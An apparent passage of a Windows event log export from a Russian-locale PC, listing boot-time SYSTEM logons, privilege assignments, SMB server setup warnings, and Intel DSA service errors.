ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.174\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.180\t1900\tTDI mode enabled: true\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.181\t1080\t\"Component capabilities: 0x2\nInternal patch number: 0x0\n\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.184\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.184\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.185\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.185\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.207\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.207\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.225\t0\t\tInformation\tApplication\tRtkAudioUniversalService\n05.09.2026 08:28:58.234\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.238\t265\tCheckpoint has been performed\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.249\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.249\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.263\t245\tMaintenance has been performed\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.269\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.270\t2000\tCtap service started successfully.\t16\tMicrosoft-Windows-WebAuthN/Operational\tMicrosoft-Windows-WebAuthN\n05.09.2026 08:28:58.292\t5615\tWindows Management Instrumentation Service started sucessfully\tInformation\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:28:58.295\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E4\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x12e0\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.296\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E4\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x12e0\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.304\t0\tIntel(R) WMI Registration Service started.\tInformation\tApplication\tWMIRegistrationService\n05.09.2026 08:28:58.309\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x64c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.310\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x64c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.329\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:58.361\t100\tDiagnostic module {15fba3b8-a37a-4f91-bdba-fbb98fe804bf} (%SystemRoot%\\system32\\diagperf.dll) detected a problem for scenario {2698178d-fdad-40ae-9d3c-1371703adc5b}, instance {f8b1fb61-72e8-4386-90e5-a13899de9cd1}, original activity ID {2698178d-fdad-40ae-9d3c-1371703adc5b}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:28:58.361\t105\tDiagnostic module {15fba3b8-a37a-4f91-bdba-fbb98fe804bf} (%SystemRoot%\\system32\\diagperf.dll) started troubleshooting scenario {2698178d-fdad-40ae-9d3c-1371703adc5b}, instance {f8b1fb61-72e8-4386-90e5-a13899de9cd1}, original activity ID {2698178d-fdad-40ae-9d3c-1371703adc5b}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:28:58.371\t1025\t\"One or more named pipes or shares have been marked for access by anonymous users.  This increases the security risk of the computer by allowing unauthenticated users to connect to this server.\n\nRegistry Key: HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters\nRegistry Values: NullSessionPipes, NullSessionShares\nDefault Value: Empty (or not present)\nCurrent Value: Non-empty\n\nGuidance:\n\nYou should expect this event when modifying the default values of NullSessionShares and NullSessionPipes. On a typical file server, these settings do not exist or do not contain values, which is the most secure configuration. By default, domain controllers populate the NullSessionShares entry with netlogon, samr, and lsarpc to allow legacy access methods.\"\tWarning\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.389\t3011\t\"The SMB server service created an endpoint with the following listener rule entry settings: \nTransport: \\Device\\NetbiosSmb\nPort: 445\nTransportType: SrvNetTransportTypeTcpip\nSrvInstances: Default, CSV, SBL, SR\n\nGuidance:\n\nYou should expect this event when assigning alternative SMB server listener ports and on any subsequent restarts of the SMB server service.\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.389\t1010\t\"Endpoint added.\n\nName: HONOR-FRG-X     \nDomain Name: WORKGROUP\nTransport Name: \\Device\\NetbiosSmb\nTransport Flags: 0x1\n\nGuidance:\n\nYou should expect this event when the server starts listening on an interface, such as during system restart or when enabling a network adaptor. No user action is required.\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.401\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.401\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.406\t1040\tReceived Mib notification type MibInitialNotification for interface 0\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 12. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1040\tReceived Mib notification type MibInitialNotification for interface 0\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 12. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.408\t1053\tRestored 0 of 0 server certificate mappings from persistent storage. Last error code: 0x0.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.451\t0\tService started successfully.\tInformation\tApplication\tDSAUpdateService\n05.09.2026 08:28:58.463\t0\tService started successfully.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.482\t5617\tWindows Management Instrumentation Service subsystems initialized successfully\tInformation\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:28:58.507\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.507\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.508\t1002\tError 0x80070002 occurred while verifying known folder {352481e8-33be-4251-ba85-6007caedcf9d} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\INetCache'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:28:58.526\t1003\tDSAService.dll:7:DSAClientCore.Controllers.Computer.SettingsController|SetDsaDirectoryFallback|()|DsaDirectoryFallback changed.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.544\t1003\tDSAService.dll:7:Intel.DSA.CommonCore.Controllers.Computer.FileSystemSafetyController|AreAdministratorsPermissionsValid|()|Downloads directory rules count is incorrect\tError\tApplication\tDSAService\n05.09.2026 08:28:58.656\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSACommon.dllIntel.DSA.CommonCore.Controllers.Computer.FileSystemSafetyControllerCreateOrVerifyDirectoryCreateOrVerifyUnsafeTreeExceptionDownloads\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.658\t1003\tDSAService.dll:7:Intel.DSA.CommonCore.Controllers.Computer.FileSystemSafetyController|CreateOrVerifyDirectory|()|Downloads directory is invalid\tError\tApplication\tDSAService\n05.09.2026 08:28:58.660\t1003\tDSAService.dll:7:Intel.DSA.Service.Service|OnStartTask|()|Create DSA directory 